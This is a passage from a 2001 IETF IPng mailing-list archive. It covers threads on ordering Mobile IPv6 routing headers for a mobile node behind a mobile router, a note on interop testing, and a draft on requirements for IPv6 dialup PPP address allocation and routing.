MN------->MR------------------------>CN > > When the mobile node moves, it sends a BU to the CN. > When the mobile router moves, it too sends a BU to the CN. > > The CN now has a binding entry for both the mobile node > and the mobile router in its cache. Now if this > is going to work at all (which I think is the $64 > "if") CN would need to construct a packet like: > > IP: dst=CoA(mr); RH: dst=CoA(mn); RH: dst=Home(mn); > > to prevent the packet from going through the > home agent of either the MN or MR. > > Yet, MN and MR might know nothing about each > other (the general case, I'd think) and CN > doesn't have any clue about the far end > topology either. It just has two binding > entries in its binding cache with no way > to correlate them, let alone set the proper > ordering. Presumably, to make this work, the BU from the mobile router to the CN would have to include the address prefix(es) reachable via the mobile router (i.e., the mobile subnet or larger aggregate that the mobile router is supposed to serve). With that info, the CN would be able to tell that the mobile host address falls within the address block served by the mobile router, and could build the necessary header chain. Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 14:51:52 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TLoKB09534 for ipng-dist; Tue, 29 May 2001 14:50:20 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TLmme09519; Tue, 29 May 2001 14:48:49 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA26579; Tue, 29 May 2001 14:48:42 -0700 (PDT) Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA16608; Tue, 29 May 2001 14:48:40 -0700 (PDT) Received: from inrialpes.fr (galibier.inrialpes.fr [194.199.24.97]) by ebene.inrialpes.fr (8.9.3+Sun/8.8.6) with ESMTP id XAA08453; Tue, 29 May 2001 23:47:12 +0200 (MEST) Message-ID: <3B141937.CF8A72CA@inrialpes.fr> Date: Tue, 29 May 2001 23:48:39 +0200 From: Thierry Ernst Organization: INRIA Rhone-Alpes X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: ipng@sunroof.eng.sun.com, Mobile IP Subject: Re: [Q] Routing header References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi all, I have cc to the MIP WG because I think this discussion falls in its interest. Michael Thomas wrote: > Steve Deering writes: > > At 1:03 PM -0700 5/29/01, Michael Thomas wrote: > > > Where there is ambiguity, however, is in the host's construction > > > of the routing header. Consider the situation where you have a > > > mobile host behind a mobile router, each of which send binding > > > updates to a correspondent node. How does the correspondent > > > node know which order to put the routing headers in? > > > > Mike, > > > > You'll have to spend more time educating me on the details of the > > scenario you have in mind. I would hope and expect that some > > encapsulation/decapsulation is going on at the mobile router, > > in which case you might have one routing header as part of the > > inner (encapsulated) packet, and one routing header as part of > > the outer (encapsulating) packet, > > I don't think there are any answers for this at > within mipv6. This case was never really considered so far in any of the MIP specs. There is no answer to this specific case for the reason that mobile networks are not explicitly addressed in any of the WG specs (indeed, HMIPv6 which is a WG item does have a word about this and in this case the CN wouldn't endup with 2 BUs). > > which is a different case than > > having multiple routing headers in a single extension-header > > chain. I was assuming the question applied to the latter case, > > though the semantics of encapsulation case is also obvious. > > This is mostly a mipv6 issue, but suppose you have: > > MN------->MR------------------------>CN > > When the mobile node moves, it sends a BU to the CN. > When the mobile router moves, it too sends a BU to the CN. This is only your scenario. You could think of any scenario you want. Anyway, this is something I have already raised in the MIP WG and this is presumably a case where MIPv6 would fail. > The CN now has a binding entry for both the mobile node > and the mobile router in its cache. Now if this > is going to work at all (which I think is the $64 > "if") CN would need to construct a packet like: But, first, why should the CN get two BUs ? The CN is not a CN for the MR. Unless you refer to my draft http://www.inrialpes.fr/planete/people/ernst/Documents/draft-ernst-mobileip-v6-network.txt which proposes that the MR be in charge of all the mobility management of the mobile network. But this is just a proposition, and it mainly focus on the case where the nodes behind the router wired and fixed nodes, not mobile nodes. Then, your issue is rather a proposal for a solution, and it would be better if you could first specify your solution, this would highly highlight the issue you are trying to discuss. > > IP: dst=CoA(mr); RH: dst=CoA(mn); RH: dst=Home(mn); > > to prevent the packet from going through the > home agent of either the MN or MR. > > Yet, MN and MR might know nothing about each > other (the general case, I'd think) and CN > doesn't have any clue about the far end > topology either. It just has two binding > entries in its binding cache with no way > to correlate them, let alone set the proper > ordering. > > > In the absence of such specs, the Routing header contents will just > > continue to be provided manually, as in source-routed pings and > > traceroutes. > > Yes, I should make it clear that this isn't a > ipng ambiguity. > > Mike > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -- * mailto:Thierry.Ernst@inrialpes.fr Tel +33 (0) 4 76 61 52 69 * INRIA Rhone-Alpes Projet PLANETE (fax 52 52) * and MOTOROLA Labs Paris * http://www.inrialpes.fr/planete/people/ernst/Welcome.html -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 14:56:02 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TLtMT09586 for ipng-dist; Tue, 29 May 2001 14:55:22 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TLsoe09567; Tue, 29 May 2001 14:54:50 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA20042; Tue, 29 May 2001 14:54:57 -0700 (PDT) Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA14306; Tue, 29 May 2001 15:55:21 -0600 (MDT) Received: from inrialpes.fr (galibier.inrialpes.fr [194.199.24.97]) by ebene.inrialpes.fr (8.9.3+Sun/8.8.6) with ESMTP id XAA08553; Tue, 29 May 2001 23:53:26 +0200 (MEST) Message-ID: <3B141AAD.FCB0F4D6@inrialpes.fr> Date: Tue, 29 May 2001 23:54:53 +0200 From: Thierry Ernst Organization: INRIA Rhone-Alpes X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 CC: ipng@sunroof.eng.sun.com, Mobile IP Subject: Re: [Q] Routing header References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Steve Deering wrote: > Last time I looked, the Mobile IPv6 spec dealt with mobile hosts only, > not mobile routers. If that's still true, it's unsurprising that > it doesn't handle your scenario -- that would be the responsibility > of a (future) Mobile IPv6 Router spec. Steve, you are perfectly right - mobile routers and networks is not yet a MIP WG item and the charter has never pretended to address this issue. May be it's time for it now. What does the MIP WG think about this ? Any vote for it to be included in the charter for the next meeting ? > Presumably, to make this work, the BU from the mobile router to the CN > would have to include the address prefix(es) reachable via the mobile > router (i.e., the mobile subnet or larger aggregate that the mobile > router is supposed to serve). With that info, the CN would be able to > tell that the mobile host address falls within the address block served > by the mobile router, and could build the necessary header chain. This is basically what my draft is proposing. And in this case, the MIPv6 spec needs redefine the "CN Operation". (all is in the draft http://www.inrialpes.fr/planete/people/ernst/Documents/draft-ernst-mobileip-v6-network.txt) But there is an authorization issue that needs to be addressed as everyone knows. Thierry. -- * mailto:Thierry.Ernst@inrialpes.fr Tel +33 (0) 4 76 61 52 69 * INRIA Rhone-Alpes Projet PLANETE (fax 52 52) * and MOTOROLA Labs Paris * http://www.inrialpes.fr/planete/people/ernst/Welcome.html -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 15:54:37 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TMrrn09765 for ipng-dist; Tue, 29 May 2001 15:53:53 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TMroe09758; Tue, 29 May 2001 15:53:50 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA10283; Tue, 29 May 2001 15:53:57 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA01587; Tue, 29 May 2001 16:53:55 -0600 (MDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TMrvU02329; Tue, 29 May 2001 15:53:57 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AHF08488; Tue, 29 May 2001 15:53:53 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA07604; Tue, 29 May 2001 15:53:53 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15124.10369.456683.719389@thomasm-u1.cisco.com> Date: Tue, 29 May 2001 15:53:53 -0700 (PDT) To: mobile-ip@sunroof.eng.sun.com Cc: ipng@sunroof.eng.sun.com Subject: [mobile-ip] Re: [Q] Routing header In-Reply-To: <3B141937.CF8A72CA@inrialpes.fr> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> <3B141937.CF8A72CA@inrialpes.fr> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thierry Ernst writes: > > This is mostly a mipv6 issue, but suppose you have: > > > > MN------->MR------------------------>CN > > > > When the mobile node moves, it sends a BU to the CN. > > When the mobile router moves, it too sends a BU to the CN. > > This is only your scenario. You could think of any scenario you want. > Anyway, this is something I have already raised in the MIP WG and this > is presumably a case where MIPv6 would fail. I'm aware that this is only my scenario, but this is what I think a naive implementation would do. Ie, the mobile router would think it's supposed to send a BU when it see something come in from its home agent tunnel interface, the MN (or another MR) would think it's supposed to send a BU... > > The CN now has a binding entry for both the mobile node > > and the mobile router in its cache. Now if this > > is going to work at all (which I think is the $64 > > "if") CN would need to construct a packet like: > > But, first, why should the CN get two BUs ? The CN is not a CN for the > MR. If the MR subtends a prefix and can send a BU which is legal in -13 as you know, it would send a BU when it sees the packet on the HA interface. Otherwise, you'd have triangular routing at the MR. Unless you refer to my draft > http://www.inrialpes.fr/planete/people/ernst/Documents/draft-ernst-mobileip-v6-network.txt > which proposes that the MR be in charge of all the mobility management > of the mobile network. Well, I think that we probably need to look at the induction from 1 to n otherwise the diagrams keep getting harder to parse each time we have to go through this :-) > Then, your issue is rather a proposal for a solution, and it would be > better if you could first specify your solution, this would highly > highlight the issue you are trying to discuss. I'm not trying to propose anything, actually. I'm just pointing out that the current set of drafts won't work as they are currently stated to more than one level of mobility. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 16:43:05 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4TNgQT09862 for ipng-dist; Tue, 29 May 2001 16:42:26 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4TNgMe09855 for ; Tue, 29 May 2001 16:42:22 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA16908 for ; Tue, 29 May 2001 16:42:28 -0700 (PDT) Received: from starfruit.itojun.org (ny-ppp001.iij-us.net [216.98.99.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA04641 for ; Tue, 29 May 2001 17:42:49 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by starfruit.itojun.org (Postfix) with ESMTP id 7A9667C1; Wed, 30 May 2001 08:40:34 +0900 (JST) To: "Dave Thaler" Cc: ipng@sunroof.eng.sun.com In-reply-to: dthaler's message of Fri, 25 May 2001 13:15:23 MST. <2E33960095B58E40A4D3345AB9F65EC1B57FDF@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: interoperability test at Interim meeting From: Jun-ichiro itojun Hagino Date: Wed, 30 May 2001 08:40:34 +0900 Message-Id: <20010529234034.7A9667C1@starfruit.itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Several people have expressed interest in doing >interop testing (and mobile IPv6 testing in particular) >in conjuction with the interim meeting in Seattle >(http://research.microsoft.com/ietf-ipv6-meeting/) > >The interim meetings next week only run until 17:00 each day. >Thursday evening (May 31), the same meeting room >will be available for interop testing. We plan to have >tables set up, with a couple of mini-hubs. > >If you're interested in doing interop testing, please bring >whatever else you will need. We will supply the >space and the electricity. which protocol do people want to test specifically? i would like to test the following protocols with you guys: - draft-ietf-dnsext-mdns-00.txt - draft-haberman-ipngwg-auto-prefix-00.txt of course, i'm happy to do basic ND/TCP/whatever test as well. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 22:46:30 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4U5js910152 for ipng-dist; Tue, 29 May 2001 22:45:54 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4U5joe10145 for ; Tue, 29 May 2001 22:45:50 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA01240 for ; Tue, 29 May 2001 22:45:58 -0700 (PDT) Received: from starfruit.itojun.org (ny-ppp005.iij-us.net [216.98.99.5]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA28658 for ; Tue, 29 May 2001 23:46:18 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by starfruit.itojun.org (Postfix) with ESMTP id A2DE1782 for ; Wed, 30 May 2001 14:44:28 +0900 (JST) To: ipng@sunroof.eng.sun.com X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: dialup PPP (material for interim meeting) From: Jun-ichiro itojun Hagino Date: Wed, 30 May 2001 14:44:28 +0900 Message-Id: <20010530054428.A2DE1782@starfruit.itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk sorry that it is very late, here is a beta copy of our draft on dialup PPP operation. itojun Internet Engineering Task Force Jun-ichiro itojun Hagino INTERNET-DRAFT IIJ Research Laboratory Expires: November 29, 2001 Kazu YAMAMOTO IIJ Research Laboratory May 29, 2001 Requirements for IPv6 dialup PPP operation draft-itojun-ipv6-dialup-requirement-01beta.txt Status of this Memo This document is an Internet-Draft and is in full conformance with all provisions of Section 10 of RFC2026. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF), its areas, and its working groups. Note that other groups may also distribute working documents as Internet-Drafts. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as ``work in progress.'' To view the list Internet-Draft Shadow Directories, see http://www.ietf.org/shadow.html. Distribution of this memo is unlimited. The internet-draft will expire in 6 months. The date of expiration will be November 29, 2001. Abstract The memo tries to identify design choices in IPv6 dialup PPP services by ISPs. 1. Problem domain With the deployment of IPv6 [Deering, 1998] , it becomes more apparent that we have different operational requirements in IPv6 dialup PPP operation, from IPv4 dialup PPP operation. For example, it would be desirable to see static address allocation, rather than dynamic address allocation, whenever possible. With IPv4 this has been impossible due to address space shortage, and IPCP [McGregor, 1992] dynamic address allocation has been used. With IPv6 it is possible to perform static address allocation from ISPs to downstream customers, as there's enough address to spare. HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 1] DRAFT Requirements for IPv6 dialup PPP operation May 2001 The document tries to summarize possible design choices in IPv6 dialup PPP operation. Actual operational practices should be documented separately. 2. Design choices 2.1. The usage pattern o Static clients. Computers located in home and offices do not usually change its configurations, nor upstream ISPs. It would be desirable to make a static address allocation in this case. o Roaming clients. Roaming clients, like travelling users with a portable computer, have different requirement from static clients. It is not usually possible to make a static address allocation, as travelling users may connet to multiple ISPs from different countries. Users may be able to hide their location changes by using mobile-ip6 [Johnson, 2000] , however, mobile-ip6 concerns are outside of the discussions of the document. Here we are discussing about actual location of the user (care-of address in mobile-ip6 terminlogy). 2.2. Address space It is desired to assign /48 address space, regardless from usage pattern or size of the downstream site. If it is apparent that the customers will have a single subnet behind them, /64 allocation may be desirable. It is to make future renumbering in downstream site easier on ISP change. /128 assignment MUST NOT be made, as it will promote IPv6-to- IPv6 NAT. The item is highly related to RIR address allocation recommendations. 2.3. Address allocation o Static address allocation. ISPs will allocate a static address space (/48) to a downstream customer, on contract time. There will be no protocol involved in address allocation - allocation will be informed by paper. o Static address allocation, with some automation. It may be possible to define a common protocol for configuring customer-side router(s) from the upstream ISP, eliminating necessity of paper-based allocation and configuration labor in the customer site. Note that router renumbering protocol is not always suitable for this. Router renumbering protocol assumes that the routers and control node to be in the same administrative domain. o Dynamic address allocation. HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 2] DRAFT Requirements for IPv6 dialup PPP operation May 2001 2.4. Where to assign address o Assign address to ppp interface. The form assigns /128 to the customer computer, or /64 onto the PPP link. The form of address assignment should not be used, as it advocates IPv6-to-IPv6 NAT. In the following diagram, "Lx" denotes link-local address, and "Gx" denotes global address. ISP router |La, Ga | ppp link |Lb, Gb Customer computer o Assign address to the interface behind the customer router. The form assigns /64 to the network segment behind customer router. ISP router |La | ppp link |Lb Customer router |Gb ==+=== Gx/64 In the cases where the customer has only a single computer, it is possible to have virtual network segment behind the customer computer. ISP router |La | ppp link |Lb Customer computer |Gb ==+=== Gx/64 (VIRTUAL) Note that, however, /64 assignment will make it harder for customer site to evolve in the future. /64 assignment is not recommended. o Assign address to the cloud behind the customer router (/48). In this case, the upstream ISP has no idea about the topology in the customer site. Actually, it is not necessary for the upstream ISP to know about the address usage in the customer site. Static address assignment is highly recommended in this case, as it is painful to renumber the whole /48 cloud every time we reconnect the dialup PPP link between the ISP and the customer site. HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 3] DRAFT Requirements for IPv6 dialup PPP operation May 2001 ISP router |La | ppp link |Lb Customer router |Gb (((Gx/48 cloud))) 2.5. Routing o Static routing. ISPs will configure static route, pointing to the customer site, for the address space assigned to the customer site. Customer router (or customer computer) will install default route, pointing to the ISP router via PPP link. o Simple dynamic routing. ISPs can exchange routes by using simple dynamic routing protocols like RIPng. This allows the customer site to adapt to PPP link status better. This also makes it easier to detect PPP link disconnection. If the ISP announces non-default routes to the downstream customer, it may help downstream to configure multihomed connectivity (connection to multiple upstream ISPs) [Hagino, 2000] ISPs may want to filter out bogus routing announcements from the downstream. 2.6. Portability of address space Depending on address aggregation policy in an ISP, portability of address space can vary very much. The aspect has tight (and rather complex) interdependency with usage pattern. o No portability. Suppose that the ISP X implements per-NOC/POP address aggregation, inside the ISP. When the ISP X assigns a downstream customer a /48 address space, the address space is from "Tokyo Japan" aggregation block. ISP X will ask the customer to make a PPP dialup call to specific phone number (for Tokyo POP). The customer will not be able to use the address space when making PPP dialup connection while he is in Osaka Japan. o Portability inside an ISP cloud. Suppose that the ISP Y does not implement per-NOC/POP address aggregation. A customer of ISP Y could make a dialup PPP connection, from Tokyo Japan, or Osaka Japan. However, to implement this, ISP Y pays significant cost for its own. Internal routing table in ISP Y could be larger, and could be more hard-to-manage, than the internal routing table in ISP X. ISP Y may want to charge more monthly charge compared to ISP X. o Portability across ISPs. It is possible to implement cross-ISP address portability, by using appropriate tunnelling technology, or special peering arrangement between two ISPs. HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 4] DRAFT Requirements for IPv6 dialup PPP operation May 2001 3. Protocols and additional needs The section tries to diagnose existing protocols from dialup PPP operation point of view. 3.1. Dynamic address space assignment In IPv4 PPP, we have been using IPCP [McGregor, 1992] to negotiate and assign an address to the downstream. In IPv6 PPP, the PPP layer do not define address assignment protocols for the upstream ISP to the customer. IPv6CP [Haskin, 1998] only negotiates interface identifiers among two parties (i.e. link-local addresses). As discussed in the seciton for the usage pattern, we would need to support roaming clients, which would require a protocol/mechanism for dynamic address assignment. As we would like to use /64 or /48 address space assignment (rather than /128), the protocol needs to be capable of handing out address space, instead of an address. We have a couple of protocols and possibilities available for this scenario. The following lists these protocols, as well as pros and cons for each of them. o Automatic prefix assignment See [Haberman, 2000] . ICMPv6-based, downstream-initiated. Interactions with PPP: (1) Dialup connection establishment, LCP, IPv6CP, PAP/CHAP. (2) Delegator query from customer, prefix delegator from ISP. (3) Initial request from customer, prefix delegated from ISP. (4) Customer propagates the prefix into the site. (5) Custumer uses the ISP link. (6) Customer issues Prefix return, prefix returned (7) Dialup link teardown. Issues: (1) Recovery on abnormal PPP link termination. (2) Authentication. Reuse MD5 (PAP/CHAP secret) as AH/ESP keys? For PPP link, can we assume there's no wiretappers? (3) Can a customer request the same prefix again? Protocol-wise, we can do this. How do we resolve conflicts if the ISP cannot satisfy the demand? (4) Prefix propagation within customer site. RA for /64 (easy), router renumber for /48? (difficult). (5) IANA type/code assignment. o Router renumbering With router renumbering protocol [Crawford, 2000] , we can replace subnet numbers configured onto multiple multiple routers in a site. Therefore, one may wonder if it is possible to use the protocol for dynamic address space assignment from an ISP to customers. However, the protocol is useful only for renumbering a single site (administrative domain), and is not suitable for dialup prefix assignment. HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 5] DRAFT Requirements for IPv6 dialup PPP operation May 2001 The protocol assumes that we renubmer a single site, where reachability is guaranteed among routers and the issuer of Prefix Control Operations (PCOs), using site-local address. The assumption does not hold for dialup case, as an ISP and customers are considered as distinct sites, and it is possible that there are collisions of site-local subnet numbers. Also, the protocol uses shared IPsec secret between all the routers and the issuer of PCOs. Normally ISP customers will not want to share IPsec authentication key for their routers, with the upstream ISP. o DHCPv6 Older DHCPv6 draft [Bound, 2000] had an DHCPv6 extension type for passing a subnet prefix from a DHCPv6 server to a client. The draft was not clear enough as to how we should be using the extension (like what kind of topology is assumed, what is the assumptions against the client, and such). The extension was dropped from more recent drafts, so it is not possible to use this approach. o Extensions to PPP At this moment there is no PPP extension defined for IPv6 address space assignment. From the past discussions, it seems that the community is not in favor of extending PPP protocol for IPv6 address space assignment. PPP already has too many extensions and negotiation protocols with it. Also, if we declare IPv6 address space assignment as an extension to PPP, we will not be able to use it for IPv6 connectivity over other means (like tunnels [Gilligan, 2000] ). 3.2. User/address management within ISP o Static configurations onto routers. This one is the easiest to implement, but does not scale enough for realworld operations. o RADIUS. See [Aboba, 2001] 4. Security considerations The document talks about no security issues. References Deering, 1998. S. Deering and R. Hinden, "Internet Protocol, Version 6 (IPv6) Specification" in RFC2460 (December 1998). ftp://ftp.isi.edu/in- notes/rfc2460.txt. HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 6] DRAFT Requirements for IPv6 dialup PPP operation May 2001 McGregor, 1992. G. McGregor, "The PPP Internet Protocol Control Protocol (IPCP)" in RFC1332 (May 1992). ftp://ftp.isi.edu/in-notes/rfc1332.txt. Johnson, 2000. David B. Johnson and Charles Perkins, "Mobility Support in IPv6" in draft-ietf-mobileip-ipv6-13.txt (November 2000). work in progress material. Hagino, 2000. Jun-ichiro Hagino, "IPv6 multihoming support at site exit routers" in draft-ietf-ipngwg-ipv6-2260-00.txt (June 2000). work in progress material. Haskin, 1998. D. Haskin and E. Allen, "IP Version 6 over PPP" in RFC2472 (December 1998). ftp://ftp.isi.edu/in-notes/rfc2472.txt. Haberman, 2000. B. Haberman and J. Martin, "Automatic Prefix Delegation Protocol for Internet Protocol Version 6 (IPv6)" in draft-haberman-ipngwg-auto- prefix-00.txt (November 2000). work in progress material. Crawford, 2000. Matt Crawford, "Router Renumbering for IPv6" in RFC2894 (August 2000). ftp://ftp.isi.edu/in-notes/rfc2894.txt. Bound, 2000. J. Bound, M. Carney, and C. Perkins, "Extensions for the Dynamic Host Configuration Protocol for IPv6" in draft-ietf-dhc-dhcpv6exts-12.txt (May 2000). work in progress material. Gilligan, 2000. R. Gilligan and E. Nordmark, "Transition Mechanisms for IPv6 Hosts and Routers" in RFC2893 (August 2000). ftp://ftp.isi.edu/in- notes/rfc2893.txt. Aboba, 2001. Bernard Aboba, Glen Zorn, and Dave Mitton, "RADIUS and IPv6" in draft- aboba-radius-ipv6-07.txt (February 2001). work in progress material. Change history None. Acknowledgements 00 -> 01 Analysis for existing protocols (user/address management, prefix assignment). HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 7] DRAFT Requirements for IPv6 dialup PPP operation May 2001 Author's address Jun-ichiro itojun HAGINO Research Laboratory, Internet Initiative Japan Inc. Takebashi Yasuda Bldg., 3-13 Kanda Nishiki-cho, Chiyoda-ku,Tokyo 101-0054, JAPAN Tel: +81-3-5259-6350 Fax: +81-3-5259-6351 Email: itojun@iijlab.net Kazu YAMAMOTO Research Laboratory, Internet Initiative Japan Inc. (for postal address, see above) Email: kazu@iijlab.net HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 8] -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 23:06:28 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4U65nA10192 for ipng-dist; Tue, 29 May 2001 23:05:49 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4U657e10177; Tue, 29 May 2001 23:05:07 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA01902; Tue, 29 May 2001 23:05:14 -0700 (PDT) Received: from mail.n016.co.kr ([203.229.169.4]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA05321; Wed, 30 May 2001 00:05:37 -0600 (MDT) Received: from freenet.ktf.co.kr (freenet.ktf.co.kr [203.229.169.83]) by mail.n016.co.kr (v3smtp 8.11.3 Copyright (c) 1998-2001 Sendmail, Inc. All rights reserved. Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved./8.11.1) with ESMTP 